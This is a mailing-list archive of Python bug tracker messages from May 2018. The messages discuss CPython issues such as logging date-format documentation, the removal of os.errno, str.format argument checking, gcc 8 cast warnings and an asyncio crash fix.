Vinay Sajip added the comment: New changeset eb8516becc267caeb0ca6f9c41e805d1ba1caaa3 by Vinay Sajip (Miss Islington (bot)) in branch '3.7': bpo-33400: Clarified documentation to indicate no strict adherence to ISO 8601. (GH-6702) (GH-6704) https://github.com/python/cpython/commit/eb8516becc267caeb0ca6f9c41e805d1ba1caaa3 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 08:36:58 2018 From: report at bugs.python.org (Vinay Sajip) Date: Mon, 28 May 2018 12:36:58 +0000 Subject: [issue33400] logging.Formatter does not default to ISO8601 date format In-Reply-To: <1525203444.89.0.682650639539.issue33400@psf.upfronthosting.co.za> Message-ID: <1527511018.55.0.682650639539.issue33400@psf.upfronthosting.co.za> Vinay Sajip added the comment: Because the specs allow certain decisions to be taken "by mutual consent", I'm not sure anyone can be really happy. Perhaps I should just state what the format actually is, as per msg316662, refer to RFC 3339 and leave it at that. I don't have a copy of the ISO 8601 standard and so can't confirm exactly what it states. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 08:49:05 2018 From: report at bugs.python.org (Paul Ganssle) Date: Mon, 28 May 2018 12:49:05 +0000 Subject: [issue33400] logging.Formatter does not default to ISO8601 date format In-Reply-To: <1525203444.89.0.682650639539.issue33400@psf.upfronthosting.co.za> Message-ID: <1527511745.39.0.682650639539.issue33400@psf.upfronthosting.co.za> Paul Ganssle added the comment: I think this is more a matter of misunderstanding the fact that ISO 8601 is a larger and more complicated spec than people think. You'll note that the original complaint also seems to think that a timezone is required (it is not). You can find a copy of RFC 3339 here: https://tools.ietf.org/html/rfc3339 Which states: NOTE: ISO 8601 defines date and time separated by "T". Applications using this syntax may choose, for the sake of readability, to specify a full-date and full-time separated by (say) a space character. I think this is sufficient to refer to this as an RFC 3339 datetime, as a spec-compliant parser should be able to handle it just fine. Then there is no need for "x-like" anywhere in the documentation, which is just confusing. I do agree that the precise spec should be given. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 08:52:09 2018 From: report at bugs.python.org (Petr Viktorin) Date: Mon, 28 May 2018 12:52:09 +0000 Subject: [issue32374] Document that m_traverse for multi-phase initialized modules can be called with m_state=NULL In-Reply-To: <1513694438.46.0.213398074469.issue32374@psf.upfronthosting.co.za> Message-ID: <1527511929.11.0.682650639539.issue32374@psf.upfronthosting.co.za> Petr Viktorin added the comment: New changeset 983c1ba94aef945386001932c5744f8ce9757fec by Petr Viktorin (Miss Islington (bot)) in branch '3.7': bpo-32374: Ignore Python-level exceptions in test_bad_traverse (GH-7145) (GH-7150) https://github.com/python/cpython/commit/983c1ba94aef945386001932c5744f8ce9757fec ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 08:55:25 2018 From: report at bugs.python.org (Paul Ganssle) Date: Mon, 28 May 2018 12:55:25 +0000 Subject: [issue33400] logging.Formatter does not default to ISO8601 date format In-Reply-To: <1525203444.89.0.682650639539.issue33400@psf.upfronthosting.co.za> Message-ID: <1527512125.58.0.682650639539.issue33400@psf.upfronthosting.co.za> Paul Ganssle added the comment: Ah, actually, my mistake, RFC 3339 most assuredly *does* require a UTC offset: 4.4. Unqualified Local Time A number of devices currently connected to the Internet run their internal clocks in local time and are unaware of UTC. While the Internet does have a tradition of accepting reality when creating specifications, this should not be done at the expense of interoperability. Since interpretation of an unqualified local time zone will fail in approximately 23/24 of the globe, the interoperability problems of unqualified local time are deemed unacceptable for the Internet. Systems that are configured with a local time, are unaware of the corresponding UTC offset, and depend on time synchronization with other Internet systems, MUST use a mechanism that ensures correct synchronization with UTC. Some suitable mechanisms are: This is not true of ISO 8601, but dropping all references to RFC 3339 or ISO 8601 is fine with me. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 08:57:46 2018 From: report at bugs.python.org (Ivan Levkivskyi) Date: Mon, 28 May 2018 12:57:46 +0000 Subject: [issue33652] Improve pickling of typing types In-Reply-To: <1527318615.23.0.682650639539.issue33652@psf.upfronthosting.co.za> Message-ID: <1527512266.79.0.682650639539.issue33652@psf.upfronthosting.co.za> Ivan Levkivskyi added the comment: I think this can be closed now. ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 09:06:57 2018 From: report at bugs.python.org (=?utf-8?q?Miro_Hron=C4=8Dok?=) Date: Mon, 28 May 2018 13:06:57 +0000 Subject: [issue33666] os.errno gone AWOL Message-ID: <1527512817.93.0.682650639539.issue33666@psf.upfronthosting.co.za> New submission from Miro Hron?ok : In 3.7.0b4 I see the following traceback: >>> import os >>> os.errno Traceback (most recent call last): File "", line 1, in AttributeError: module 'os' has no attribute 'errno' This was not the case for Python 3.6: >>> import os >>> os.errno os.errno might not have been documented, however there are projects out there that use it: https://github.com/intel/bmap-tools/issues/34 https://bugzilla.redhat.com/show_bug.cgi?id=1583196 So I suggest the removal of os.errno is something worth documenting at https://docs.python.org/3.7/whatsnew/3.7.html The root of the change is in https://github.com/python/cpython/pull/1269/files#diff-405b29928f2a3ae216e45afe9b5d0c60 ---------- assignee: docs at python components: Documentation, Library (Lib) messages: 317847 nosy: docs at python, hroncok priority: normal severity: normal status: open title: os.errno gone AWOL type: behavior versions: Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 09:11:47 2018 From: report at bugs.python.org (Nick Coghlan) Date: Mon, 28 May 2018 13:11:47 +0000 Subject: [issue33409] Clarify the interaction between locale coercion & UTF-8 mode In-Reply-To: <1525260822.94.0.682650639539.issue33409@psf.upfronthosting.co.za> Message-ID: <1527513107.8.0.682650639539.issue33409@psf.upfronthosting.co.za> Nick Coghlan added the comment: I'm aiming for this week, so with the docstring-AST-induced delay I should even meet the original rc1 goal :) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 09:12:45 2018 From: report at bugs.python.org (Pawel) Date: Mon, 28 May 2018 13:12:45 +0000 Subject: [issue33667] Mock calls on mutable objects Message-ID: <1527513165.39.0.682650639539.issue33667@psf.upfronthosting.co.za> New submission from Pawel : When method of mocked object is called multiple times with mutable object as parameter and attribute of this object has been updated between calls, mock_calls is only aware of the last value. I think it unexpected behaviour, that mock doesn't track value changes. I've attached example code ---------- components: Tests files: test.py messages: 317849 nosy: pawelj priority: normal severity: normal status: open title: Mock calls on mutable objects type: behavior versions: Python 3.5, Python 3.6 Added file: https://bugs.python.org/file47618/test.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 09:23:27 2018 From: report at bugs.python.org (twisteroid ambassador) Date: Mon, 28 May 2018 13:23:27 +0000 Subject: [issue31647] asyncio: StreamWriter write_eof() after close raises mysterious AttributeError In-Reply-To: <1506746563.39.0.213398074469.issue31647@psf.upfronthosting.co.za> Message-ID: <1527513807.71.0.682650639539.issue31647@psf.upfronthosting.co.za> Change by twisteroid ambassador : ---------- keywords: +patch pull_requests: +6785 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 09:23:27 2018 From: report at bugs.python.org (twisteroid ambassador) Date: Mon, 28 May 2018 13:23:27 +0000 Subject: [issue31467] cElementTree behaves differently compared to ElementTree In-Reply-To: <1505383581.51.0.650948952182.issue31467@psf.upfronthosting.co.za> Message-ID: <1527513807.81.0.0935424498089.issue31467@psf.upfronthosting.co.za> Change by twisteroid ambassador : ---------- pull_requests: +6786 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 09:33:13 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Mon, 28 May 2018 13:33:13 +0000 Subject: [issue33666] os.errno gone AWOL In-Reply-To: <1527512817.93.0.682650639539.issue33666@psf.upfronthosting.co.za> Message-ID: <1527514393.57.0.682650639539.issue33666@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: os.errno as well as os.sys or os.abc is an implementation detail. It can be changed without notice even in a bugfix release. Projects that depend on it are incorrect and should be fixed. ---------- nosy: +serhiy.storchaka resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 09:58:53 2018 From: report at bugs.python.org (Charalampos Stratakis) Date: Mon, 28 May 2018 13:58:53 +0000 Subject: [issue32962] test_gdb fails in debug build with `-mcet -fcf-protection -O0` In-Reply-To: <1519722167.1.0.467229070634.issue32962@psf.upfronthosting.co.za> Message-ID: <1527515933.09.0.682650639539.issue32962@psf.upfronthosting.co.za> Charalampos Stratakis added the comment: Ping. Could someone take a look? There is a PR ready. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 10:22:23 2018 From: report at bugs.python.org (Oleg Oleynik) Date: Mon, 28 May 2018 14:22:23 +0000 Subject: [issue33668] Wrong behavior of help function on module Message-ID: <1527517343.16.0.682650639539.issue33668@psf.upfronthosting.co.za> New submission from Oleg Oleynik : I write file test.py: def __getattr__(key): return None help(__name__) when I try to run it I've got error: Traceback (most recent call last): File "test.py", line 5, in help(__name__) File "C:\Program Files\Python37\lib\_sitebuiltins.py", line 103, in __call__ return pydoc.help(*args, **kwds) File "C:\Program Files\Python37\lib\pydoc.py", line 1894, in __call__ self.help(request) File "C:\Program Files\Python37\lib\pydoc.py", line 1944, in help elif request: doc(request, 'Help on %s:', output=self._output) File "C:\Program Files\Python37\lib\pydoc.py", line 1674, in doc pager(render_doc(thing, title, forceload)) File "C:\Program Files\Python37\lib\pydoc.py", line 1667, in render_doc return title % desc + '\n\n' + renderer.document(object, name) File "C:\Program Files\Python37\lib\pydoc.py", line 385, in document if inspect.ismodule(object): return self.docmodule(*args) File "C:\Program Files\Python37\lib\pydoc.py", line 1136, in docmodule for key, value in inspect.getmembers(object, inspect.isclass): File "C:\Program Files\Python37\lib\inspect.py", line 330, in getmembers for base in object.__bases__: TypeError: 'NoneType' object is not iterable If I change definition of __getattr__ function to: def __getattr__(key): raise AttributeError() then help function runs without errors. But I need to return None value from __getattr__ function. When I wrote this function in class definition there is also no errors during runtime ---------- components: Library (Lib) messages: 317852 nosy: oleg_oleinik priority: normal severity: normal status: open title: Wrong behavior of help function on module type: behavior versions: Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 10:23:22 2018 From: report at bugs.python.org (Xavier de Gaye) Date: Mon, 28 May 2018 14:23:22 +0000 Subject: [issue33012] Invalid function cast warnings with gcc 8 for METH_NOARGS In-Reply-To: <1520335093.04.0.467229070634.issue33012@psf.upfronthosting.co.za> Message-ID: <1527517402.62.0.682650639539.issue33012@psf.upfronthosting.co.za> Xavier de Gaye added the comment: > Pedantically the correct way is to cast to a function pointer with no prototype (empty parentheses) Thanks for raising this point Antti. This is hinted at by the gcc 8 documentation on -Wcast-function-type: "The function type void (*) (void) is special and matches everything, which can be used to suppress this warning" [1]. One cannot use empty parentheses though as this raises -Wstrict-prototypes on Python builds with gcc and -Wcast-function-type with gcc 8. So (void *) may be replaced with (void (*) (void)) in my previous code snippets and also in PR 6748 and PR 6749 (I just checked my code). [1] https://gcc.gnu.org/onlinedocs/gcc-8.1.0/gcc/Warning-Options.html#Warning-Options ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 10:26:53 2018 From: report at bugs.python.org (Xavier de Gaye) Date: Mon, 28 May 2018 14:26:53 +0000 Subject: [issue33012] Invalid function cast warnings with gcc 8 for METH_NOARGS In-Reply-To: <1520335093.04.0.467229070634.issue33012@psf.upfronthosting.co.za> Message-ID: <1527517613.48.0.682650639539.issue33012@psf.upfronthosting.co.za> Xavier de Gaye added the comment: > There are still quite a few similar warnings on git-master. Do they indicate the same problem or should I open new issues? This is the same issue, the warning line ends with [-Wcast-function-type]. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 10:29:44 2018 From: report at bugs.python.org (Petr Viktorin) Date: Mon, 28 May 2018 14:29:44 +0000 Subject: [issue33666] os.errno gone AWOL In-Reply-To: <1527512817.93.0.682650639539.issue33666@psf.upfronthosting.co.za> Message-ID: <1527517784.88.0.682650639539.issue33666@psf.upfronthosting.co.za> Petr Viktorin added the comment: I think this was closed prematurely. > Projects that depend on it are incorrect and should be fixed. That's definitely correct; no one here is arguing against it. However, there are projects out there depending on it -- it worked since around Python 2.5, and is readily available in `os.` tab completion. I think that documenting the removal would be good for our users. Furthermore, not all of its uses can be fixed. I've seen it printed in books. There are many answers/guides/tutorials around mentioning os.errno, for example: http://nullege.com/codes/search/os.errno.EACCES https://ubuntuforums.org/showthread.php?t=1459923 http://code.activestate.com/recipes/580759-show-os-error-codes-and-messages-from-the-oserrno-/ https://www.georgevreilly.com/blog/2016/03/24/RaisingIOErrorForFileNotFound.html ... and people tend based their code on such recipes, rather than checking what's documented. And, of course, projects run into this: https://github.com/intel/bmap-tools/issues/34 https://bugzilla.redhat.com/show_bug.cgi?id=1583196 https://github.com/python/typeshed/issues/1646 ---------- nosy: +petr.viktorin resolution: not a bug -> status: closed -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 10:34:17 2018 From: report at bugs.python.org (STINNER Victor) Date: Mon, 28 May 2018 14:34:17 +0000 Subject: [issue33666] os.errno gone AWOL In-Reply-To: <1527512817.93.0.682650639539.issue33666@psf.upfronthosting.co.za> Message-ID: <1527518057.01.0.682650639539.issue33666@psf.upfronthosting.co.za> STINNER Victor added the comment: > os.errno as well as os.sys or os.abc is an implementation detail. I agree but... > It can be changed without notice even in a bugfix release. Projects that depend on it are incorrect and should be fixed. I don't think that it would hurt to document the removal of "os.errno" in "Porting to Python 3.7": https://docs.python.org/dev/whatsnew/3.7.html#changes-in-python-behavior Miro: are you volunteer to write such change? ---------- nosy: +vstinner _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 10:36:21 2018 From: report at bugs.python.org (=?utf-8?q?Miro_Hron=C4=8Dok?=) Date: Mon, 28 May 2018 14:36:21 +0000 Subject: [issue33666] os.errno gone AWOL In-Reply-To: <1527512817.93.0.682650639539.issue33666@psf.upfronthosting.co.za> Message-ID: <1527518181.95.0.682650639539.issue33666@psf.upfronthosting.co.za> Miro Hron?ok added the comment: I can document this, yes. I've opened this issue so I could prep a PR. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 10:54:17 2018 From: report at bugs.python.org (=?utf-8?q?Peter_Ba=C5=A1ista?=) Date: Mon, 28 May 2018 14:54:17 +0000 Subject: [issue33623] Fix possible SIGSGV when asyncio.Future is created in __del__ In-Reply-To: <1527101746.49.0.682650639539.issue33623@psf.upfronthosting.co.za> Message-ID: <1527519257.7.0.682650639539.issue33623@psf.upfronthosting.co.za> Peter Ba?ista added the comment: > Can this crash be reproduced without uvloop? I am not aware of a way to reproduce this without uvloop. > What is the backtrace of the assertion failure? Without uvloop, the following exception is raised: Exception ignored in: > Traceback (most recent call last): File "uvloop_test.py", line 13, in __del__ File "/usr/lib/python3.6/asyncio/base_events.py", line 276, in create_future AttributeError: 'NoneType' object has no attribute 'Future' With uvloop and with Python compiled with --with-pydebug configure option, the failed assertion is mentioned in the original uvloop bug report. In particular, this assertion fails: python3.6-dbg: ../Objects/abstract.c:2300: _PyObject_FastCallDict: Assertion `func != NULL' failed. A full GDB backtrace is attached. ---------- nosy: +pbasista Added file: https://bugs.python.org/file47619/uvloop-test.gdb-backtrace.txt _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 10:57:29 2018 From: report at bugs.python.org (Xiang Zhang) Date: Mon, 28 May 2018 14:57:29 +0000 Subject: [issue33669] str.format should raise exception when placeholder number doesn't match argument number Message-ID: <1527519449.91.0.682650639539.issue33669@psf.upfronthosting.co.za> New submission from Xiang Zhang : I'm somewhat surprised when I have code like `"hello %s".format(person)` in my project there is no exception raised and "hello %s" returned. Have several tries it seems `str.format` won't check argument number. >>> '{} {}'.format(1) Traceback (most recent call last): File "", line 1, in IndexError: tuple index out of range >>> '{} {}'.format(1, 2, 3) '1 2' >>> ''.format(1, 2, 3) '' >>> The IndexError is not ideal. I think this behavior could be improved since it's highly possible such code is an oversight bug. The old format string does a good job in this place: >>> "%s %s" % 1 Traceback (most recent call last): File "", line 1, in TypeError: not enough arguments for format string >>> "%s %s" % (1,2,3) Traceback (most recent call last): File "", line 1, in TypeError: not all arguments converted during string formatting >>> "" % 1 Traceback (most recent call last): File "", line 1, in TypeError: not all arguments converted during string formatting ---------- components: Interpreter Core messages: 317859 nosy: xiang.zhang priority: normal severity: normal status: open title: str.format should raise exception when placeholder number doesn't match argument number type: behavior versions: Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 10:57:55 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Mon, 28 May 2018 14:57:55 +0000 Subject: [issue33666] os.errno gone AWOL In-Reply-To: <1527512817.93.0.682650639539.issue33666@psf.upfronthosting.co.za> Message-ID: <1527519475.01.0.682650639539.issue33666@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: If document disappearing of os.errno, we should document disappearing of all other names in other modules in all versions. It is possible to write a script that outputs dir(mod) for all modules and compare results between different Python versions. Are you volunteer to do this work? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 10:58:46 2018 From: report at bugs.python.org (STINNER Victor) Date: Mon, 28 May 2018 14:58:46 +0000 Subject: [issue33666] os.errno gone absent without official leave (AWOL) In-Reply-To: <1527512817.93.0.682650639539.issue33666@psf.upfronthosting.co.za> Message-ID: <1527519526.41.0.682650639539.issue33666@psf.upfronthosting.co.za> Change by STINNER Victor : ---------- title: os.errno gone AWOL -> os.errno gone absent without official leave (AWOL) _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 11:00:20 2018 From: report at bugs.python.org (STINNER Victor) Date: Mon, 28 May 2018 15:00:20 +0000 Subject: [issue33666] os.errno gone absent without official leave (AWOL) In-Reply-To: <1527512817.93.0.682650639539.issue33666@psf.upfronthosting.co.za> Message-ID: <1527519620.49.0.682650639539.issue33666@psf.upfronthosting.co.za> STINNER Victor added the comment: > If document disappearing of os.errno, we should document disappearing of all other names in other modules in all versions. Miro proposed to document the removal of os.errno since errno is a commonly used module, as the os module. I don't think that the removal of other aliases are as important as that one. By the way, os.errno has been removed by bpo-30152: PR 1269. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 11:08:48 2018 From: report at bugs.python.org (Yury Selivanov) Date: Mon, 28 May 2018 15:08:48 +0000 Subject: [issue32458] test_asyncio: test_start_tls_server_1() fails randomly In-Reply-To: <1514661650.99.0.213398074469.issue32458@psf.upfronthosting.co.za> Message-ID: <1527520128.82.0.682650639539.issue32458@psf.upfronthosting.co.za> Yury Selivanov added the comment: > It's a race condition which doesn't depend on the OS, but on the system load. Yeah, I agree. The current timeout for the test is 5 seconds and it tries to transfer 2mb of data, which isn't that much actually. I'll bump the timeout and reduce the amount of data transferred in https://github.com/python/cpython/pull/7130 Thing is, these are the very first *functional* tests for asyncio. Before it was mostly tested with mocks. So we'll need some adjustment period to learn how slow/loaded the CI servers are and what kind of timeouts are safe to use. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 11:11:14 2018 From: report at bugs.python.org (Yury Selivanov) Date: Mon, 28 May 2018 15:11:14 +0000 Subject: [issue33623] Fix possible SIGSGV when asyncio.Future is created in __del__ In-Reply-To: <1527101746.49.0.682650639539.issue33623@psf.upfronthosting.co.za> Message-ID: <1527520274.35.0.682650639539.issue33623@psf.upfronthosting.co.za> Yury Selivanov added the comment: There's nothing specific here to uvloop except the fact that it was compiled with Cython, so module finalization/GC pattern is slightly different to that of vanilla asyncio. Serhiy, I'm merging this PR since I'd like to avoid having segfaults in 3.7.0. Feel free to debug this further. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 11:11:34 2018 From: report at bugs.python.org (Yury Selivanov) Date: Mon, 28 May 2018 15:11:34 +0000 Subject: [issue33623] Fix possible SIGSGV when asyncio.Future is created in __del__ In-Reply-To: <1527101746.49.0.682650639539.issue33623@psf.upfronthosting.co.za> Message-ID: <1527520294.23.0.682650639539.issue33623@psf.upfronthosting.co.za> Yury Selivanov added the comment: New changeset 35230d08e09de4e2e52658d5cb09e5b0ca965418 by Yury Selivanov in branch 'master': bpo-33623: Fix possible SIGSGV when asyncio.Future is created in __del__ (#7080) https://github.com/python/cpython/commit/35230d08e09de4e2e52658d5cb09e5b0ca965418 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 11:12:01 2018 From: report at bugs.python.org (miss-islington) Date: Mon, 28 May 2018 15:12:01 +0000 Subject: [issue33623] Fix possible SIGSGV when asyncio.Future is created in __del__ In-Reply-To: <1527101746.49.0.682650639539.issue33623@psf.upfronthosting.co.za> Message-ID: <1527520321.5.0.682650639539.issue33623@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6787 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 11:12:43 2018 From: report at bugs.python.org (miss-islington) Date: Mon, 28 May 2018 15:12:43 +0000 Subject: [issue33623] Fix possible SIGSGV when asyncio.Future is created in __del__ In-Reply-To: <1527101746.49.0.682650639539.issue33623@psf.upfronthosting.co.za> Message-ID: <1527520363.37.0.682650639539.issue33623@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6788 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 11:13:43 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Mon, 28 May 2018 15:13:43 +0000 Subject: [issue33669] str.format should raise exception when placeholder number doesn't match argument number In-Reply-To: <1527519449.91.0.682650639539.issue33669@psf.upfronthosting.co.za> Message-ID: <1527520423.68.0.682650639539.issue33669@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: This will break the following case: def geterrmsg(n): return ('function doesn't have arguments' if n == 0 else 'function have a single argument' if n == 1 else 'function have %d arguments') print(geterrmsg(n).format(n)) Actually geterrmsg() can take the error message from a translations database, and the number of different cases can be dependent on the language. ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 11:16:47 2018 From: report at bugs.python.org (Yury Selivanov) Date: Mon, 28 May 2018 15:16:47 +0000 Subject: [issue31647] asyncio: StreamWriter write_eof() after close raises mysterious AttributeError In-Reply-To: <1506746563.39.0.213398074469.issue31647@psf.upfronthosting.co.za> Message-ID: <1527520607.89.0.682650639539.issue31647@psf.upfronthosting.co.za> Yury Selivanov added the comment: New changeset 23f587e395e41bd5e116312b036183f42bc4159b by Yury Selivanov (twisteroid ambassador) in branch 'master': bpo-31647: Fix write_eof() after close() for SelectorSocketTransport (GH-7149) https://github.com/python/cpython/commit/23f587e395e41bd5e116312b036183f42bc4159b ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 11:17:48 2018 From: report at bugs.python.org (Petr Viktorin) Date: Mon, 28 May 2018 15:17:48 +0000 Subject: [issue33666] Document removal of os.errno In-Reply-To: <1527512817.93.0.682650639539.issue33666@psf.upfronthosting.co.za> Message-ID: <1527520668.67.0.682650639539.issue33666@psf.upfronthosting.co.za> Change by Petr Viktorin : ---------- title: os.errno gone absent without official leave (AWOL) -> Document removal of os.errno _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 11:17:56 2018 From: report at bugs.python.org (miss-islington) Date: Mon, 28 May 2018 15:17:56 +0000 Subject: [issue31647] asyncio: StreamWriter write_eof() after close raises mysterious AttributeError In-Reply-To: <1506746563.39.0.213398074469.issue31647@psf.upfronthosting.co.za> Message-ID: <1527520676.35.0.682650639539.issue31647@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6789 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 11:18:55 2018 From: report at bugs.python.org (miss-islington) Date: Mon, 28 May 2018 15:18:55 +0000 Subject: [issue31647] asyncio: StreamWriter write_eof() after close raises mysterious AttributeError In-Reply-To: <1506746563.39.0.213398074469.issue31647@psf.upfronthosting.co.za> Message-ID: <1527520735.14.0.682650639539.issue31647@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6790 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 11:22:58 2018 From: report at bugs.python.org (Xiang Zhang) Date: Mon, 28 May 2018 15:22:58 +0000 Subject: [issue33669] str.format should raise exception when placeholder number doesn't match argument number In-Reply-To: <1527519449.91.0.682650639539.issue33669@psf.upfronthosting.co.za> Message-ID: <1527520978.3.0.682650639539.issue33669@psf.upfronthosting.co.za> Xiang Zhang added the comment: Yes, this is a breaking change. A currently working piece of code suddenly raises an exception. But, please note Serhiy in your example you have the same bug as me, you've gotten an oversight bug in it: it's {:d} not %s. That's why I want the improvement. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 11:28:14 2018 From: report at bugs.python.org (miss-islington) Date: Mon, 28 May 2018 15:28:14 +0000 Subject: [issue33623] Fix possible SIGSGV when asyncio.Future is created in __del__ In-Reply-To: <1527101746.49.0.682650639539.issue33623@psf.upfronthosting.co.za> Message-ID: <1527521294.82.0.682650639539.issue33623@psf.upfronthosting.co.za> miss-islington added the comment: New changeset 51d0a2c8ddcb9f58d71ff0a62be4e31a1af3f139 by Miss Islington (bot) in branch '3.7': bpo-33623: Fix possible SIGSGV when asyncio.Future is created in __del__ (GH-7080) https://github.com/python/cpython/commit/51d0a2c8ddcb9f58d71ff0a62be4e31a1af3f139 ---------- nosy: +miss-islington _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 11:31:24 2018 From: report at bugs.python.org (Tim Peters) Date: Mon, 28 May 2018 15:31:24 +0000 Subject: [issue32832] doctest should support custom ps1/ps2 prompts In-Reply-To: <1518443379.42.0.467229070634.issue32832@psf.upfronthosting.co.za> Message-ID: <1527521484.01.0.682650639539.issue32832@psf.upfronthosting.co.za> Tim Peters added the comment: You missed my point about IPython: forget "In/Out arrays, etc". What you suggest is inadequate for _just_ changing PS1/PS2 for IPython. Again, read their `parse()` function. They support _more than one_ set of PS1/PS2 conventions. So the code changes you suggest wouldn't help them. So long as they want to support more than one set, they'd still have to write their own `parse()` function just to deal with multiple PS1/PS2 conventions. For the rest, it's not the number of people using non-CPython shells that's rare, but the number _of_ non-CPython shells. IPython is popular, they already solved their problem, and the patch wouldn't help them anyway. Who would it help? I don't take "a plain CPython shell with customized ps1/ps2" seriously because, as I said, after some decades now I still don't know of anyone who does that (granting that newbies sometimes try it, go 'ha! ha! - cool!", and never try it again). If any such people exist, I would oppose changing doctest just for them, because the _point_ of doctest is to help write easily understood tests. Catering to changing shell syntax in random ways opposes that goal - programming is a social activity. So, sorry, but I remain opposed. Something that might change my mind: find an author of a widely used alternative Python shell who says this change would allow them to _remove_ their own doctest-PS1/PS2 customization code. That would be a real use case. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 11:32:17 2018 From: report at bugs.python.org (miss-islington) Date: Mon, 28 May 2018 15:32:17 +0000 Subject: [issue32374] Document that m_traverse for multi-phase initialized modules can be called with m_state=NULL In-Reply-To: <1513694438.46.0.213398074469.issue32374@psf.upfronthosting.co.za> Message-ID: <1527521537.13.0.682650639539.issue32374@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6791 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 11:37:25 2018 From: report at bugs.python.org (=?utf-8?q?Andr=C3=A9s_Delfino?=) Date: Mon, 28 May 2018 15:37:25 +0000 Subject: [issue33670] Use errorlevel of Sphinx main() in Doc\make.bat Message-ID: <1527521845.19.0.682650639539.issue33670@psf.upfronthosting.co.za> New submission from Andr?s Delfino : Doc\make.bat is exiting without exposing Sphinx's main() return value, showing weird things like: C:\Users\adelfino\Desktop\Personal\repos\cpython\Doc>make venv Using py -3.6 (found with py.exe) Merging Misc/NEWS with py -3.6 -m blurb Running Sphinx v1.7.4 Sphinx error: Builder name venv not registered or available through entry point Build succeeded. All output should be in build\venv PR fixes this. ---------- components: Demos and Tools messages: 317870 nosy: adelfino priority: normal severity: normal status: open title: Use errorlevel of Sphinx main() in Doc\make.bat type: enhancement versions: Python 2.7, Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 11:38:24 2018 From: report at bugs.python.org (=?utf-8?q?Andr=C3=A9s_Delfino?=) Date: Mon, 28 May 2018 15:38:24 +0000 Subject: [issue33670] Use errorlevel of Sphinx main() in Doc\make.bat In-Reply-To: <1527521845.19.0.682650639539.issue33670@psf.upfronthosting.co.za> Message-ID: <1527521904.29.0.682650639539.issue33670@psf.upfronthosting.co.za> Change by Andr?s Delfino : ---------- keywords: +patch pull_requests: +6792 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 11:39:57 2018 From: report at bugs.python.org (STINNER Victor) Date: Mon, 28 May 2018 15:39:57 +0000 Subject: [issue32458] test_asyncio: test_start_tls_server_1() fails randomly In-Reply-To: <1514661650.99.0.213398074469.issue32458@psf.upfronthosting.co.za> Message-ID: <1527521997.64.0.682650639539.issue32458@psf.upfronthosting.co.za> STINNER Victor added the comment: > Yeah, I agree. The current timeout for the test is 5 seconds and it tries to transfer 2mb of data, which isn't that much actually. I'll bump the timeout and reduce the amount of data transferred in https://github.com/python/cpython/pull/7130 What is the purpose of a timeout of 5 seconds? Some buildbots are really slow. If the purpose is to detect when the test hangs: use a timeout of 5 minutes, or at least 1 minute (60 seconds). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 11:40:43 2018 From: report at bugs.python.org (Yury Selivanov) Date: Mon, 28 May 2018 15:40:43 +0000 Subject: [issue32458] 